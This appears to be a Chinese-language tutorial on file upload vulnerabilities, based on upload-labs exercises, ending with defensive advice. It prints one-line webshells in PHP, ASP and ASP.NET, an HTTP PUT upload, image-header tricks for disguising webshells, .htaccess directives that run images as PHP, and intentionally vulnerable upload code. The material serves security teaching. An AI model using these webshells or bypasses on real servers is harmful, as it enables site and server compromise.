文件上传漏洞
漏洞概述
- 文件上传是Web应用的必备功能之一,比如上传头像显示个性化,上传附件共享文件,上传脚本更新网站等.如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件,exe程序等,这就造成了文件上传漏洞
漏洞成因
- 文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;另一方面,Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;再者就是,程序开发部署时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件
漏洞危害
- 上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等.如果Web服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷.如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷.同服务器下的其他网站无一幸免,均会被攻击者控制.通过上传漏洞获得的网站后门,就是WebShell
WebShell
- 在计算机科学中,Shell俗称壳(用来区别于"核"),是指"为使用者提供操作界面"的软件(命令解释器).类似于windows系统给的cmd.exe或者linux下bash等,虽然这些系统上的命令解释器不止一种
- WebShell是一个网站的后门,也是一个命令解释器,不过是以Web方式(HTTP协议)通信(传递命令消息),继承了Web用户的权限.WebShell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说WebShell接收来自于Web用户的命令,然后再服务器端执行
大马
- WebShell也可以是大马,也是网站木马.有一类WebShell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富.同样,大马有很多种脚本格式,其功能基本相同.每个团队都有自己的定制大马.以下是一个简单的例子.输入密码,密码一般直接写在木马文件中
小马
- 小马就是一句话木马,因为其代码量比较小,就是一句简单的代码.以下是各个脚本的一句话
- 一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口.中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名).例如,我们上传一个php的一句话木马,密码就是
cmd
- ASP
<%eval request("cmd")%>
- ASP.NET
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>
- PHP
<?php @eval($_REQUEST['cmd']);?>
- 中国菜刀与一句话木马配合实现了三大基本功能
- 在中国菜刀页面继承Web用户权限可以实现文件管理,包括文件查看,上传,下载,修改,删除甚至运行程序
- 在中国菜刀下可以获得类似于cmd和bash的命令行接口,可以执行相关命令
- 我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密
文件上传漏洞利用的条件
用到的工具和测试代码
中国蚁剑需要使用加载器配合源码一起使用
- Web服务器要开启文件上传功能,并且上传api(接口)对外开放(Web用户可以访问)
- Web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web目录都有执行权限.
- 要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在.
- 无视以上条件的情况就是服务器配置不当,开启了PUT方法
黑白名单策略
黑白名单是最常用的安全策略之一.在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果在黑名单中,一律禁止,如果在白名单中,一律允许
PUT方法上传文件
HTTP请求方法之一,允许向服务器直接写入文件
- 测试Apache是否开启了put方法
telnet 172.16.132.161 80
OPTIONS / HTTP/1.1
HOST:172.16.132.161
- apache开启put方法操作
httpd.conf
;开启模块
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
;启用模块
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
DAV On
</Directory>
开启文件锁
DavLockDB c:\phpstudy\www\DavLock
- 上传文件
telnet 172.16.132.161 80
PUT /info.php HTTP/1.1
HOST: 172.16.132.161
Content-Length: 18
<?php phpinfo();?>
前端限制与绕过
有些Web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等.upload-labs第一关,以下是经典的代码
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
- 此段JS代码采用白名单策略,检测文件后缀名.配合表单事件使用
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:</p><p>
<input class="input_file" type="file" name="upload_file">
<input class="button" type="submit" name="submit" value="上传">
</p>
</form>
- 前端JS脚本检测的安全防御是十分薄弱的.可以非常轻松的绕过
- 方法一:因为JS脚本的运行环境是浏览器,我们可以修改JS代码,甚至删除表单事件
- 方法二:使恶意文件后缀名符合白名单策略,用Burp挂代理抓包,然后修改文件后缀名即可
- 对于文件上传,一般在服务器端检测,采用黑白名单策略
服务器端检测MIME类型
MIME(Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准.MIME 消息能包含文本,图像,音频,视频以及其他应用程序专用的数据
- 常见的MIME类型
文件扩展名 | Mime-Type |
---|---|
.js | application/x-javascript |
.html | text/html |
.jpg | image/jpeg |
.png | image/png |
application/pdf |
在HTTP协议中,使用Content-Type字段表示文件的MIME类型.当我们上传文件的时候,抓到HTTP数据包.由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,所以可以用Burp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
服务器端检测文件内容
除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容.PHP中有一个函数
getimagesize()
,这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片.因此,可以用该函数来检测文件的内容
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
- 对于文件内容检测,我们可以通过制作上传图片木马绕过
- 将以下十六进制转换为字符串写入文件首行,之后写入一句话木马绕过内容检测
- 将代码上传到服务器后虽然不可以直接执行,但可以配合其他漏洞去执行
类型 | 开头十六进制编码 |
---|---|
png | 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 |
jpg | FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C |
gif | 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33 |
服务器端检测后缀名
服务器端还会检测文件后缀名,依然会采用黑白名单策略.黑名单策略,不允许上传
php
,asp
,aspx
,jsp
等可执行脚本的文件;白名单策略,只允许上传jpg
,gif
,png
,doc
,rar
等格式的文件
- 黑名单
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制
-
php :
.php
,.php2
,.php3
,.php5
,.phtml
-
asp :
.asp
,.aspx
,.ascx
,.ashx
,.asa
,.cer
-
jsp :
.jsp
,.jspx
-
白名单
对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名
空字符截断
00
就是Null
,表示空字符,URL中表现为%00
,在c语言中,一个字符串以\0
作为结束的标记,由于php的底层就是c语言,所以php也继承了这个特性,空字符截断会导致文件上传路径截断
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
.htaccess攻击
.htaccess
是服务器的分布式配置文件,该配置文件会覆盖服务器的全局配置,作用域是当前目录及其子目录.如果一个Web应用允许上传.htaccess
文件,那就意味着攻击者可以更改服务器的配置,这是十分危险
将.png
文件当作PHP文件解析
将以下代码写入
.htaccess
文件,放到测试目录下
# define width 16
# define height 7
AddType application/x-httpd-php .png
在该目录下打开
.png
文件`将会被当作PHP文件解析
文件名中包含php关键字
当文件名
muma.php.png
中包含关键字.php
,并且.htaccess
文件内容如下,info.php.png
中的代码会被执行
AddHandler php5-script php
匹配文件名
以下配置是匹配文件名
1997sty
匹配该文件名,并执行其中的PHP代码
<FilesMatch "1997sty">
SetHandler application/x-httpd-php
</FilesMatch>
upload-labs上传.htaccess
绕开所有的黑名单后缀,通过
.htaccess
来运行php代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Web容器解析漏洞
Web容器解析漏洞,就是Web容器在解析脚本出现的bug
Apache解析漏洞
Apache在判断文件后缀时,会从右向左一次获取后缀,直到获取到认识的后缀,如果对文件名加以修改,文件上传后可以骗过服务器执行php代码
IIS6.0解析漏洞
iis使用
;
隔断文件名,骗过服务器执行代码
iis使用目录来生成后缀,骗过服务器执行代码
PHP CGI解析漏洞
漏洞环境为IIS7.0/7.5+PHP环境
http://localhost:8000/info.png/.php
info.png
文件中是php代码,当访问url追加/.php
,就会骗过服务器执行代码
防御该漏洞只需要把请求限制中,映射限制为文件
或者可以将php配置文件中
cgi.fix_pathinfo
参数的值改为0
Nginx 解析漏洞
- 环境搭建参考以下内容
- https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
- vulhub-master.zip
- 访问路径
/uploadfiles/nginx.png/.php
Nginx空字节漏洞
info.html文件内容
- 使用
%00
字符隔断路径,让nginx判断路径忽略后面的.php
,在获取结尾部分的文件类型,让nginx解析为php文件
Nginx文件名逻辑漏洞
上传文件加入了1个空格
1.gif
成功上传图片木马
burp修改请求信息
漏洞防御
关于文件上传的防御,防住危险的脚本类型是最基本的防御,最理想的是能够过滤掉图片马中的恶意代码.如果一个Web应用能够上传图片木马,那么我们认为这个Web应用是不安全的
代码角度
- 采用白名单策略,严格限制上传文件的后缀名.
- 进行二次渲染,过滤掉图片马中的恶意代码.
- 上传文件重命名,尽量少的从客户端获取信息.
- 避免文件包含漏洞.
- 严格处理文件路径,防御
00
截断漏洞,避开空格,.
,::$DATA
等windows特性
服务器角度
- 及时更新Web容器,防止解析漏洞的产生
- 可写目录不给执行权限
0 条评论